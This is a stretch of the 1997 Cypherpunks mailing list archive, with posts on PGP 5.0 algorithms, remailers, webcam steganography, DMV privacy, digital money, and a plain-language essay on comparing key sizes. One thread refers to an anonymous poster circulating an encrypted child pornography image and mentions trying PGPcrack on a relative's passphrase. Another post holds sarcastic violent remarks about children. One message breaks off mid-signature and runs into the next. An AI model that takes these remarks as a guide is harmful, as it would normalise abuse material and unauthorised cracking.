N3AiA/78WOycd87hvTiVBmngnO+YDqlMt/5F49kqjkj3GXgTpWZxWVls7o6rx1ZK
AIjIAL2FxnYhUuQuconkU3eZjZZTvoD6uWISMrfSe6aTs1WiRCJRBUKWx+u2DWNi
y0MNBIshM4ztX9v/9FJiwQsPRIuzoXqH59Xpezs3og7JgNGtIQdVIfd/t4BH1bSW
cz0v/uE9UfUUPRvfdOfIH3kQOScsWdAravYBM0lQmFUXkyZ20smnIXDt0z9ssvNO
heSt6xXJNyXL7E0bOdLI5Lz55mrjnBvCavxG7U8fZ3/E7XjeGR3evFCUnPt8jiin
dGc2cy5owjOJUr2LYCnH1eYtpwi/Otlbj1FUrP5hHTGo6As4R1ESHyogypxLfqdX
iCjec57z46+Gn6vo3WdFroDpNRDNCxyfzOyoqNcitcgM0wBMp/QG38EAeDZPhkvV
GnrbirhJuMluduGVUZOoeX2ndvuMAJQnHmVHCbp7Rgu7Yh9520xPQrLnTG1oMqcK
hnjahdhdLwmAueG/F8m93JIN/cwP02WCZh/NU9csGz4nbbj/IKbxiIIfsUDLrrv5
sZQ0bQM6slMVUFYUGznvMnE+lmlquguQAn0bzdIxeIcz/0XSKv7aimC4r4bH4qRu
2+JD0WJ2ilXwzERHp7uAB4fCTaqFHho4hfC3mIvnFV3KWevsTW1Y+ONwz3zelfG6
j1DupwsHExGoGJBP/J5deiBiFjR3s0/iHycywIM+h7Lj5fmLKAroikdOViTVsWcC
TcRLEkAt/oDBf29sAQw51XNa5oKAYDzeWfcjyHRAkDCnMC01DXjrL3uGIiJ3GAeM
N+Kya1rGpK64vxZpmgugKetg
=jWAM
-----END PGP MESSAGE-----






From jim.burnes at ssds.com  Mon Jun 23 11:32:26 1997
From: jim.burnes at ssds.com (Jim Burnes)
Date: Tue, 24 Jun 1997 02:32:26 +0800
Subject: Extremely Disappointing: Political Cryptography
In-Reply-To: 
Message-ID: 





On Mon, 23 Jun 1997, Jim Burnes wrote:

> 
> Charles:
> 
> This has nothing to do with federal crypto regs. It just
> had your email addr in it.
> 
> Got a question:
> 

Sorry for polluting the list.  Accidental cross-posting.

jim







From rwright at adnetsol.com  Mon Jun 23 12:01:25 1997
From: rwright at adnetsol.com (Ross Wright)
Date: Tue, 24 Jun 1997 03:01:25 +0800
Subject: Anti-SPAM SPAM should be banned by Congress
Message-ID: <199706231843.LAA18807@adnetsol.adnetsol.com>



On or About 23 Jun 97 at 10:29, Tim May wrote:

> That's why I want a law banning your anti-SPAM SPAM from being
> spammed into my mailbox!

Anti-SPAM SPAM is free speech.  

God, this whole free speech thing is way out of control. 
Legislation is in order, and fast, before it gets any worse.  And 
this "free speech" thing seems to be ALL OVER the internet.  
Something needs to be done.

Ross

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795






From camcc at abraxis.com  Mon Jun 23 13:05:17 1997
From: camcc at abraxis.com (Alec McCrackin)
Date: Tue, 24 Jun 1997 04:05:17 +0800
Subject: Devisive comments [sic]
In-Reply-To: <3.0.2.32.19970620233615.03727f08@mail.atl.bellsouth.net>
Message-ID: <3.0.2.32.19970623155158.007dc100@smtp1.abraxis.com>



-----BEGIN PGP SIGNED MESSAGE-----

At 10:17 PM 6/20/97 -0700, you heatedly wrote:

|Take a gander at this out-of-the-blue and off-the-wall thing I just got
|from Georgia's finest. Proves to me that what they say about Georgia is
|right.

Hey, Tim.

Fill me in.

Perhaps other list members would like to know also.

What do _they_ say about Georgia?

And to whom do _they_ say it?

And just who are _they_?

Or was this just Tim in a snit?

Alec

BTW the most recent Mixmaster remailer (remailer at anon.efga.org) and nym 
server are in Ga. Try them out, Tim, when you want to blow off some steam 
without appearing foolish in public.
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM67T3iKJGkNBIH7lAQHRKwP9HmtQIDMeB57Oj4zvwRmh/JizkcIi9Q0D
WAYPrDXNxGDibBZs6EnXMBar3ltY1ZyspXYyf39w69DY02WCIBFfpuw1Cj4LhXpb
Ws0LhszVWaG75voqDbDLGkCl37XfGfrHUW3osftLJ3hV3HaAuSWGPImMKQuVb8Xm
xjJH3SDCqJc=
=D1ql
-----END PGP SIGNATURE-----






From blackavr at aa.net  Mon Jun 23 14:16:07 1997
From: blackavr at aa.net (Michael Myers)
Date: Tue, 24 Jun 1997 05:16:07 +0800
Subject: Canarypunk: Jim Bell in a coalmine
Message-ID: <3.0.32.19970623133810.00776c0c@mail.aa.net>



-----BEGIN PGP SIGNED MESSAGE-----

At 11:53 PM 6/22/97 -0700, Blanc wrote:

>Having said that, I'll consider the possibility, if visitors are allowed on
>weekends.   Perhaps several cpunks could go (if anyone else around here
>interested? (Wei, Joel, I know you're just dying to go )), if more than
>one visitor at a time is allowed . 

Well, I work in Tacoma, and have thought of visiting...PNW area physical 
meet, anyone? A jail is a reasonably appropriate setting, If this
horrid legislation isn't stopped, just think of it as house-hunting ;->
Has John Young sussed out the visitor situation yet?
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBM67bmpmFdfLoqDWNAQF9QAQAl5M339rLKpfWMesrSvXoo4J/xd0F/Dlu
gtEiTkKNR1g0BzbaSdyYOxG+YV2EwP9f8nTWHCtI5T7Y+ha7N2sdKzHy+QrAKS4/
JbL9eBVw4cEcsRBGYMFZIWQilw2IHzlRNPCpmWRQsy30k5HYSIXqOqstiKj/Vi1P
TI8JgQnyeYU=
=nzca
-----END PGP SIGNATURE-----

--
/```````Instead of being born again, why not just GROW UP?`````````\
Michael Myers               Vote Libertarian....you'll sleep better!
Don't like abortion? Don't have one. Don't like guns? Don't buy one.
blackavr at aa.net  root at crowncollege.com PGP public key on keyservers
\_________________ http://www.aa.net/~blackavr/____________________/






From 3umoelle at informatik.uni-hamburg.de  Mon Jun 23 14:24:51 1997
From: 3umoelle at informatik.uni-hamburg.de (Ulf =?iso-8859-1?Q?M=F6ller?=)
Date: Tue, 24 Jun 1997 05:24:51 +0800
Subject: anonymous mail
In-Reply-To: <199706231343.PAA10140@hydrogen.inbe.net>
Message-ID: 



>could you send me the name of an remailer that works in Belgium
>please, i would be most gratefull

A list of reliable remailers is sent to this list weekly. You can
learn more details at .
This is the Internet, so it doesn't matter where a remailer is.  You
can use all of them from Belgium.






From alano at teleport.com  Mon Jun 23 14:34:12 1997
From: alano at teleport.com (Alan)
Date: Tue, 24 Jun 1997 05:34:12 +0800
Subject: Canarypunk: Jim Bell in a coalmine
In-Reply-To: <3.0.32.19970623133810.00776c0c@mail.aa.net>
Message-ID: 



On Mon, 23 Jun 1997, Michael Myers wrote:

> At 11:53 PM 6/22/97 -0700, Blanc wrote:
> 
> >Having said that, I'll consider the possibility, if visitors are allowed on
> >weekends.   Perhaps several cpunks could go (if anyone else around here
> >interested? (Wei, Joel, I know you're just dying to go )), if more than
> >one visitor at a time is allowed . 
> 
> Well, I work in Tacoma, and have thought of visiting...PNW area physical 
> meet, anyone? A jail is a reasonably appropriate setting, If this
> horrid legislation isn't stopped, just think of it as house-hunting ;->
> Has John Young sussed out the visitor situation yet?

I would visit, but Tacoma is quite a distance from Portland.  (A couple
hundred miles.)  Maybe get a car pool on a weekend.

As for house-hunting...  I don't think they let you choose.

alano at teleport.com | "Those who are without history are doomed to retype it."






From tzeruch at ceddec.com  Mon Jun 23 14:45:23 1997
From: tzeruch at ceddec.com (tzeruch at ceddec.com)
Date: Tue, 24 Jun 1997 05:45:23 +0800
Subject: New PGP signatures
In-Reply-To: 
Message-ID: <97Jun23.173902edt.32257@brickwall.ceddec.com>



On Mon, 23 Jun 1997, Lucky Green wrote:

> On Mon, 23 Jun 1997, Rick Osborne wrote:
> 
> > bennett_t1 at popmail.firn.edu wrote:
> > >some asshole forgot to make PGP 5.0 freeware RSA key-generating
> > 
> > Okay, silly question here, but what's to stop someone from adding that
> > capability once the source is available?  (And if they knew they were going
> > to publish the source, why not just add the capability in the first place?)
> 
> Because there is no reason for PGP to enourage people to generate new
> RSA/MD5 keys when MD5 is about to go downhill.

They could have supported RSA/SHA if they wanted to.  They also put 3DES
and IDEA support as options in the manual (but not in the freeware or
tryit versions that I can see).

I hope the international generic version - after it is scanned and
modified - has many useful "upward compatible" options which will refuse
to interoperate with the commercial windows/mac version. 

And then someone can write an interoperability spec and the next version
of everything will talk to everything else.






From Kevin.L.Prigge-2 at tc.umn.edu  Mon Jun 23 14:59:14 1997
From: Kevin.L.Prigge-2 at tc.umn.edu (Kevin L Prigge)
Date: Tue, 24 Jun 1997 05:59:14 +0800
Subject: Party on IRC
In-Reply-To: 
Message-ID: <33aeef335820002@earth.tc.umn.edu>



Leonard Janke said:
> 
> ftp://ftp.csua.berkeley.edu/pub/cypherpunks/applications/circ.tar.gz ?
> 
> Didn't look into it too closely, but I noticed it doesn't do 
> authentication.
> 

Circ uses 3DES for encryption and does key exchange with RSA. 
It runs on top of irc, and encrypts/decrypts by running a program
in the backgound. There is also a standalone client.

I'm not sure that authentication is wanted or needed for irc. 
There have been a lot of problems with people grabbing a list 
of everyone on irc at a given time, then e-mailing them spam 
or vague threats. ircd 2.9.2 implements the +a mode for channels
which somehow disallows listing user information even if you are
on the channel with them.

-- 
Kevin L. Prigge                     | "The only thing that saves us from
Systems Software Programmer         | the bureaucracy is it's
Enterprise Internet Services        | inefficiency." - Eugene McCarthy
University of Minnesota             |






From tzeruch at ceddec.com  Mon Jun 23 15:06:24 1997
From: tzeruch at ceddec.com (tzeruch at ceddec.com)
Date: Tue, 24 Jun 1997 06:06:24 +0800
Subject: Sources for stego images, was re: Laying PipeNet
In-Reply-To: 
Message-ID: <97Jun23.180055edt.32257@brickwall.ceddec.com>



On Sun, 22 Jun 1997, Steve Schear wrote:

> >That's the major problem with images, you need to generate your own.
> >Unless you fancy writing an image enhancement system, and analyse the
> >algorithms in existing systems to ensure that randomness is
> >introduced.
> >
> 
> There are plenty of Net-cams watching traffic or sunsets around the world.
> Since these images tend to change a bit from frame to frame they could
> cheaply and reliably provide the sorts of images which are ideal for stego.
> I'm not sure if you can frame-grab from such a changing Web page with the
> current browser features, but this should be a significant hurdle.

Or, set up your own webcam "to watch your coffee pot twice a minute" or
something. Merge the crypto stream through the gifs after tweaking the
brightness and contrast to avoid 0 and 255 (a light fixture with a pattern
of 254/255 values gets suspicious, and is not from thermal noise - a
"problem" with monochrome quickcams for night photography).

Then do something like

  lynx -source webcam.x.y/images/coffee.gif | destegodecrypt >>reconstruct

every 30 seconds (with some kind of dropout correction).  [lynx is a
textmode browser that works well for these types of things].

Or even an AVI for both video and sound stego.






From shamrock at netcom.com  Mon Jun 23 15:34:50 1997
From: shamrock at netcom.com (Lucky Green)
Date: Tue, 24 Jun 1997 06:34:50 +0800
Subject: New PGP signatures
In-Reply-To: <97Jun23.173902edt.32257@brickwall.ceddec.com>
Message-ID: 



On Mon, 23 Jun 1997 tzeruch at ceddec.com wrote:

[On PGP switching to SHA-1/ElGamal]
> They could have supported RSA/SHA if they wanted to.  They also put 3DES
> and IDEA support as options in the manual (but not in the freeware or
> tryit versions that I can see).

I guess suggestions such as the one above prove that CP is still attracting 
newbies. That's a good thing. Now if they only read the FAQ.

The patents for DH (which cover the public domain ElGamal) expire this
Fall. By using SHA-1/ElGamal, PGP is moving to a technology that will soon
no longer require paying large sums of money to RSA for the use of a
one-line mathematical formula. This is *a good thing*. 


--Lucky






From sunder at brainlink.com  Mon Jun 23 15:56:26 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Tue, 24 Jun 1997 06:56:26 +0800
Subject: Ray Just doesn't get it.
In-Reply-To: <97Jun13.180309edt.32257@brickwall.ceddec.com>
Message-ID: 



On Fri, 13 Jun 1997 tzeruch at ceddec.com wrote:

> 
> If the state issues me a permit, they probably have a right to the
> information pertaining to the permit, e.g. they do need the make, model,
> year, and similar information about the car to issue a title or
> registration.  If they are issuing state ID, they need to know that I am
> me in order to issue it.  They don't need to place my mother's maiden name
> into the record although I think it appears on my birth certificate, and
> would cause problems since this is used as an informal password.  My
> driver's license is a permit to drive, not a permit to be me.  You can
> make a case for the database containing my age, but date of birth?  Much
> of what appears is not necessary for the purpose stated. 
> 
> So are you making the case for having the state ask every detail about
> your life and being able to place it in the licensing database, or only
> answers to those questions relevant to issuing the license?

I'm making the case that information I share with (for example) the DMV
should not be viewable by those OUTSIDE of the DMV and NYPD without my
consent - i.e. if Joe Insurance Inc. wants to insure my car, they need my
permission to have the DMV release the info; but some folks have taken
this to other weird tangents, such as polarizing one's point of view into
either libertarian or stasist.  I hold neither.  And I've given up on the
cluelessness of the same folks, so the topic I've dropped. :) 


=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder at sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From tzeruch at ceddec.com  Mon Jun 23 15:58:20 1997
From: tzeruch at ceddec.com (tzeruch at ceddec.com)
Date: Tue, 24 Jun 1997 06:58:20 +0800
Subject: new money systems
In-Reply-To: <199706200103.SAA06874@netcom11.netcom.com>
Message-ID: <97Jun23.185147edt.32257@brickwall.ceddec.com>



On Thu, 19 Jun 1997, Vladimir Z. Nuri wrote:

Money is different than "wealth"

Start with "Money Mischief" by Milton Freidman for an interesting look at
the role of money.

Money has three functions:

1. as a medium of exchange (as opposed to barter)
2. as a store of wealth
3. as a measure of value (1 cow = $X, 1 sheep = $Y, 1 pig = $Z, instead of
   1 cow = 3.6 sheep).

> 1. why is it that even as our economy becomes "more productive", we
> have to work harder? families now require more than one wage earner
> when before they did not?

> 2. there are statistics that show in earlier times, it took [x]
> farmers to produce the food for the population, such that the ratio
> was something like 1 to 2 or so. now the ratio is nearly 1 to 60
> or greater. why does this not translate into more free time for
> everyone? could it be there is a means by which some entity can
> siphon off our spare energy and time?

If anyone was to adopt a 1920's lifestyle (few cars, no telephone or
electricity, no indoor plumbing in many places) they would have plenty
left over.  As long as consumption is the goal, you can keep working
longer to satisfy more marginal wants.  If I can convince a couple that
they "need" two luxury cars, they will work the longer hours.  If they are
satisfied with something less, they may get by with only one earner. 

However, you are correct in the sense that only half of today's income
goes to actually satisfying our wants, the other half goes to satisfy the
government.  In the 1950 you had a 1% taxation rate, and few regulations
(cars without air bags, computers, and catalytic converters are cheaper).
If you want to go back to 1950, and make your own decisions instead of
letting the government do so, you would have these things restored.

We work "harder" and have less free time only in the sense that we prefer
working longer hours and having expensive things and less free time to
working shorter hours and having more free time.

> 3. if someone is siphoning off energy from *everyone* simultaneously,
> could it be detected in our system? how?

It is called economic inefficiency (the electrical analogy might be
resistance).  If tarriffs are imposed on an import, I end up paying the
domestic producers a little more.  If some regulation forces an employer
to spend $100,000 printing manuals or something, he is spending that to
satisfy the government and not me.  And then there is the obvious "tax",
which you pay regardless of who sends the actual amount to the government
(e.g. the "employer's" half of FICA).

> what's the solution? some are looking toward "alternative" or "local"
> currencies. there are some cases such that local communities experienced
> more efficient economies when they resorted to local currencies out
> of desperation. 

The problem is one of exchange.  A local currency (banks used to issue
their own notes) is only good in that locality.  How do I buy a California
pistachio with Michigan Money?  Or with British Pounds for that matter. 
In all cases you get an exchange rate.  There will be a varying ratio
between any two given fiat currencies, and even two currencies based on
(i.e. redeemable in) different commodities.  A coupon for "one free
hamburger" is a type of currency.  You will sell it at a discount (less
than face value - the price of the hamburger) to someone who wants a
hamburger if you prefer a salad.  In that sense each fast-food place could
issue their own currency (or Shell with their prepaid gasoline cards), but
they would all be discounted from the cash value - why should I pay $1 for
a $1 coupon good only at McDonalds?  If I eat there often, I may pay $9
for 10 $1 coupons.  Another place where they already exist are "barter
clubs" as barter points.

But all the above won't fix any of your above points.  You will work
harder and be taxed on barter points, hamburger coupons, or anything else
based on their (hopefully discounted) value in dollars.  I will still have
to spend more of whatever to get a car with an airbag which I don't want.

The only reason we have national currencies is because nations have
different ideas about how large their inflation rates and defecits should
be and about trade.  That way they can control the supply of that currency
and require changing into that currency to do trade.

The archetypical digital monitary note would be exchangable for a fixed
amount of gold (only because that is considered by most people as "money" 
in a true form, but you could theoretically use any nonperishable
commodity).  As long as they were honored, it would be the same as having
a bullion coin of that amount.  (it could also be exchanged for another
equal note for those schemes that need to track "spent"  digital chunks). 

Having 1000 other currencies would mean that each currency would have a
fluctuating value relative to each other (great if you are an
arbitrageur), and to gold, so why would I want to say I have 5000
eco-greenstamp units instead of 2 grams gold when everyone would recognize
the value of the latter, but only locals the value of the former?






From sunder at brainlink.com  Mon Jun 23 16:03:46 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Tue, 24 Jun 1997 07:03:46 +0800
Subject: Ray Just doesn't get it.
In-Reply-To: <199706141405.JAA25820@mailhub.amaranth.com>
Message-ID: 



On Sat, 14 Jun 1997, William H. Geiger III wrote:

> >Should it include your address and phone number?
> 
> Yes

Well then, so much for asking the phone company to NOT list your number in
the phone book.  If someone wants to find you, all they have to do is
cough up some dough and register themselves as an insurance broker or
whatever and they can look at DMV records to get your phone number.
Thanks but no thanks.  You are being too dense on this.
 
> Two wrongs don't make a right Ray. The whole CIA NSA thing is just a
> flimsy straw man. All the documants being discused are on the state and
> local level. They do not have "national security" that they can hide
> behinde.

NSA I'll grant you might be a straw man.  FBI and CIA records should be
open to all to read - except ongoing current stuff, but I don't mean that
they should be open 50 years after the fact.  Government abuses DO and
HAVE occured.  I neededn't cite things like Waco and Ruby Ridge, do I?

What threat were those events to National Security?

> >But should the public know Joe's phone number and address and date of
> >birth?  Gee, weren't we screaming this sucks to easily accessible Texas
> >DMV records a few days ago?
> 
> YOU may have been screaming about it I was not.

That is quite telling of your beliefs.
 
> You have two choices you can take the Libertarian view of a minimal
> governement where all it's actions are reveiwable by it's citizens or you
> can take the Statest view of big governemtn where all is's actions are
> hidden and all "solutions" are more regulation and biger government.

Why should I accept being pidgeonholed into one category or the other?
Get a clue.
 
> The whole privacy issue is a strawman proped up by the government to
> frighten the sheeple so they can pass their agenda. What's their agenda?
> To have a series of privacy laws they can hide behind to keep their
> actions hidden from public view.

Um yeah, sure, and if you've nothing to hide why ask for privacy right?
Why don't you like put cameras in your home and monitors on the street so
anyone who wants to listen in on you and watch you can do so?

There should be no privacy issue.  Privacy should be a right as should the
right to use strong encryption WITHOUT GAK.  That is the point of strong
encryption without GAK after all: Privacy.  End of Story.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder at sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From aba at dcs.ex.ac.uk  Mon Jun 23 16:23:57 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Tue, 24 Jun 1997 07:23:57 +0800
Subject: Comparing Cryptographic Key Sizes
Message-ID: <199706232313.AAA00156@server.test.net>




Below is a explanation of the meaning of cryptographic key sizes which
started as an explanation I wrote for a journalist friend of mine, on
being asked about how relatively secure a system using DES and RSA
(SET) was as compared to netscapes export version of SSL.

I've re-written it to make it more general in scope.

One of the most common errors I see in news stories about
cryptographic breaks is to (say) compare 1024 bit RSA keys with 56 bit
symmetric keys as if the two key sizes are directly comparable.

This new document is intended to be simple and understandable to give
people a handle on how to describe and compare cryptographic systems
strengths.

This document by design glosses over some details, where I think this
is reasonable.

It could use some criticism.  If you are not that crypto aware, does
it make sense to you?  If you are crypto aware, what do you think of
my off the cuff estimates of hardness?

I wrote it with journalists in mind.  If you are a journalist and find
it useful, feel free to quote parts/all of it without attribution.

Adam


Comparing Cryptographic Key Sizes

There are two types of key sizes: public key (sometimes called
asymmetric key) and symmetric keys.  Examples of public key algorithms
are RSA, and Diffie-Hellman.  Examples of symmetric key algorithms are
RC4, DES, IDEA.  You can not directly compare public key lengths (for
example RSA keys) with symmetric key lengths (DES, RC4).  This is an
important point which confuses many people.

For example 40 bit RC4 (a symmetric key cipher) can be broken in a few
hours with a few hundred workstations.  40 bit RSA (a public key
cipher) can be broken in a fraction of a second on one PC.  RSA keys
need to be I'd guess around 350 bits to be equivalent in strength to
40 bit RC4.

56 bit DES is probably roughly similar to 512 bit RSA in hardness to
break.

Symmetric keys sizes are easy to reason with: one more bit in key
length is twice as hard to break, for the same algorithm.  It is more
complicated estimating the hardness to break of public key (say RSA)
keys of varying sizes as they get harder more gradually than symmetric
keys.  This is why public key systems have longer keys, you need more
bits to get the same security level.

Most systems use a mixture of public and symmetric key ciphers.  This
is because public key ciphers are _slow_.  Symmetric key ciphers are
fast, and so are used in combination with public key systems to speed
up the combined system.  Public key systems are used because of the
advantages of public key management they make possible.

When considering the strength of a system using two ciphers one public
key and one symmetric key, the strength of the system is equal to the
strength of the weakest link.

For example: consider the export version of SSL, as shipped in the
export version of Netscape browsers and servers.  It uses 512 bit RSA,
and 40 bit RC4.  It is easier to crack 40 bit RC4 than it is to crack
512 bit RSA, so export SSL can be broken by breaking the 40 bit RC4
component.  Ian Goldberg recently broke a 40 bit RC5 key himself with
Berkeley univ machines in 3.5 hours.  40 bit RC4 could be broken in a
similar amount of time.

512 bits RSA is not enough either, and you can rest assured that the
NSA, other governments' secret services, and any corporation or
organised crime group with sufficient funds can break it.  512 bits is
likely within reach of a distributed internet effort, of similar or
smaller scale than the recent DES breaking.

56 bit DES is harder to break than 40 bit RC4 (SSL), from the number
bits you might think it would be 65536 times harder, but it's less
than that because DES is faster than RC4.  In software it's about 5
times faster, so that means breaking DES in software is about 10000
times harder than breaking 40 bit RC4 (as used in export SSL) in
software.

But, if the Russian Mafia, or a corporation involved in industrial
espionage wanted to break 56 bit DES they would not do it in software.
They would build a special purpose piece of hardware which was
designed only to break DES.  DES was designed to be fast in hardware,
it is a relatively slow ciphers in software.

About 10 years ago now Michael Wiener made a design for such a DES
breaking machine.  He estimated it would cost $10,000,000 to build a
machine which would break a 56 bit DES encrypted message a few hours.
His machine was scalable, pay more money, break the key faster, pay
less take longer.  The estimate was that could build one with enough
DES key searching units to break it in a day for $1,000,000.  That was
10 years ago.  10 years is a long time in the computer industry.
Nowadays you build the machine more cheaply as chip technology has
progressed, and computers are much faster per $.  Estimates are around
$100,000 to build the machine (neglecting hardware engineers
consultancy fees).

Everyone expects that NSA, GCHQ, SCSSI have built such a machine for
$100,000+.  This is obvious because the NSA and SCSSI allow export of
56 bit DES.

$100,000 is not much money for a secret service.

Algorithms using 40 bit keys aren't secure at all, past a very
superficial casual level of protection.  Systems using DES, such as
SET are only secure against organisations who can't raise $100,000 and
can't find people who know lots about crypto and hardware design.
$100,000 is not much money for a secret service.  It's not much for
the Rusian Mafia either.

END






From aba at dcs.ex.ac.uk  Mon Jun 23 16:27:25 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Tue, 24 Jun 1997 07:27:25 +0800
Subject: Child Porn 3 [JPG]
In-Reply-To: <199706231803.OAA12416@dhp.com>
Message-ID: <199706232001.VAA01882@server.test.net>




The anonymous porn protagonist writes:

> Here, yet again, is the same Time-Life child pornography picture, which
> is encrypted with the public keys of people I don't know from squat.
> Nonetheless, they are now co-conspirators in the Time-Life/Cypherpunks
> child pornography ring.

is keyid 0xD2DF803D this key?

Type Bits/KeyID    Date       User ID
pub  1024/D2DF803D 1995/08/13 Joseph Chamness 
            Key fingerprint = 6F A9 2E 13 AF 1F 10 E6  5C 25 89 0A B4 09 26 3B

Either you're getting these keys off the keyservers, or we have a real
life example of a keyid collision.  (The Joseph with the key above is
my brother in law and he's never been subscribed to nor read
cypherpunks to my knowledge).

btw, I have Joseph's public and private keys on my disk, he gave them
to me because he forgot his passphrase almost as soon as I showed him
how to generate the key.  We were unsuccessful in guessing his
passphrase with PGPcrack, so I won't be viewing this gif.
Unfortunately I added his key to the keyservers for him before he
forgot his passphrase.

btw2 thanks for the copy to my key in the previous post.  It was really
quite a boring picture.  Anyway, I did pgp -w t.gif after viewing just
to be on the safeish side :-)

btw3 is there some moral to this exercise?  Showing child porn is
over-hyped?  Attempting to give fedz an excuse to bust us other than
for being crypto enthusiasts, exporters of illegal T-shirts, and
thinkers of non-government approved thoughts?

(Thinking of the AA case where the fedz mailed the target a child porn
package and kicked the door in seconds after the package hit the door
mat, before they even knew their mail had arrived, and busted them for
"possession" of child porn.)

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: <3.0.2.32.19970623192551.00935250@popd.ix.netcom.com>



I truly admire how you (and others) infer what you have from my post.
Simply remarkable.

I will keep my statements short and direct for those of you who have had to
much coffee.

I support the constitution.  In the case of the first ammendment: The
freedom it allows you, or whoever, to send spam and indulge in child
pornography is the same freedom provided to those who say those ideas are
wrong.  Got it?

I did not intend to infer any sexuality of any kind.

The question still stands --- please try not to rant --- attempt to post
your constructive thoughs:

How do we deal with child pornography and free speech in such a way as to
allow both to exist and insure our children are not exposed to pornographic
material until they are at a maturity level where they can deal with it?

If pornography is the enemy of crypto then that is enemy that must be fought. 

A battle that must be won without killing the enemy to insure continued
free speech.  Quite a challenge I think.

Now, do you have any idea how to do that?
At 10:42 AM 6/23/97 -0700, you wrote:
>On Mon, 23 Jun 1997, Philip A. Mongelluzzo wrote:
>
>> I certainly agree with free speech and understand how it can be manipulated
>> by the scum bags at large in society, _BUT_ free speech is free speech.
>> The warts come from an ever increasing BENT society.
>
>No you don't.  You believe in free speach for the things that do not tweak
>your worldview.  I am certainly willing to bet that if you had the chance
>to remove the rights of the "bent" people from expressing their views, you
>would not hesitate in the slightest.
>
>> I still am concerned about kids being subject to material that is
>> inappropriate for their age group (what ever that may be).  
>
>"Whatever that may be" is a very telling statement.  How can you tell what
>is "appropreate" or "not".  What the media tells you?  What your religious
>leaders tell you?  What the voices in your head tell you?  What the
>government tells you?  All of those values are subjective.  They depend on
>what you may or may not believe is "harmful".  Most of that is based on
>cultural conditioning.
>
>>So how do I
>> insure that my son/daugher does not get their hands on _THIS_ material?
>
>Kill them now.  Stick them in a box and feed them through a slot in the
>door. Gouge out their eyes. Cut off their hands.
>
>> Twenty seven years ago I took an oath to do whatever was needed to protect
>> and defend the constitution against all enemies (domestic and foreign)  But
>> what is the solution to this problem from a parents point of view?
>
>You view the constitution as a problem?  Free speach as a problem?
>
>Or maybe you have a problem that your children might learn about things
>that you disapprove of?  Maybe they might read something that shows them
>that sex is a part of life, not just something that is a side benefit of
>marriage.  Maybe they might learn that sex is fun!  Maybe they will find
>out that the religion their parents saddled them with is based on lies and
>urban legend.  maybe they will find that their government is not so kind
>and benevolent after all.  Maybe they will find out that their parents are
>human and make mistakes.  Or maybe they will even figure out that the
>material the parents are so afraid of are only harmful to the parents...
>
>>  Simple
>> - control the material.  Make it like liquor, guns, booze.  Oops.. for some
>> reason this is a violation of the 1st amendment to!
>
>It is also an impossibility.  People have tried to control the natural
>interest in sex since the dawn of time.  Has not worked yet.  Porn has
>existed since man discovered woman.  Some of the earliest existing films
>are porno movies.  What has changed is access and awareness.  Until
>reletive reciently porn has been more underground.  But with the spread of
>technology, it has become easier and easier to supply the demand for such
>things.
>
>Or as a certain math professor once said... "Dirty books are fun!"
>
>>  Ok, my mistake, its my
>> problem.  That's easy, no Internet access.  Now my kid is at a
>> disadvantage!  I keep loosing here.  I don't like the way this is beginning
>> to feel!!
>
>Your kid is already at a disadvantage.  His parents have lost perspective.
>
>> I'm sure that the community on this list has discussed this problem at
>> length.  What is the best defense?  How do we get the message out or,
>> better yet, deliver it?  
>
>You assume that it actually is a problem.  Your moral qualms over pictures
>of sexual activity does not a problem make.
>
>it is people like yourself who are activly destroying what little remains
>of the constitution.  You want an exception for this and a rationalization
>for that until thre is nothing left but the blandest and most tasteless
>thoughts and speach.
>
>> Whatever that is, we need to do the same thing for the 2nd Ammendment, and
>> the 3rd, and so on.
>
>Like actually follow it?  Wow!  That would be a first.
>
>> The challenge to write code could be fun, but maybe we should use our
>> collective wisdom to deliver the best of the best solutions (there may be
>> more than one) to our elected officials.  Load their mailboxes up with
>> solutions to problems.  Sooner or later more than one of them is going to
>> think its his/her idea and push it along.  Web sites can be set up to
>> assist them with details.  I'm sure you get the idea.
>
>You are talking to the wrong group of people.  What you are asking for is
>a way to censor the masses.
>
>Anything an adult can get, a child can get.
>
>Attempts to censor children and control what they hear, see and feel are
>vague attempts to do the same to adults.  You cannot control the
>information feed to children without controling the information feed for
>adults. (But deep down in your heart you would like to see that as well.)
>
>> Just another citizen wondering if anything is going to be left for our
>> grandchildren.
>
>You think this information will harm them?  Actually the control freak
>mentality you want to impose is far far worse.  In actuality, much of the
>problems you would like to blame on porn are, in actuality, borne out of
>this country's hypocracy and neurosis about sex and sexuality.  the reason
>people are so fucked up about fucking is because they have been taught
>that sex is somehow wrong and shameful and dirty.  That appreciating the
>beauty of the sexual act is somehow more vile and disgusting than showing
>someone shot full of holes.
>
>I think you need to examine WHY this information makes you uncomfortable.
>You might learn something about yourself.  But don't expect us to help
>inflict your sickness on the minds of your children.
>
>alano at teleport.com | "Those who are without history are doomed to retype it."
>
>
>At 10:42 AM 6/23/97 -0700, Alan wrote:
>On Mon, 23 Jun 1997, Philip A. Mongelluzzo wrote:
>
>> I certainly agree with free speech and understand how it can be manipulated
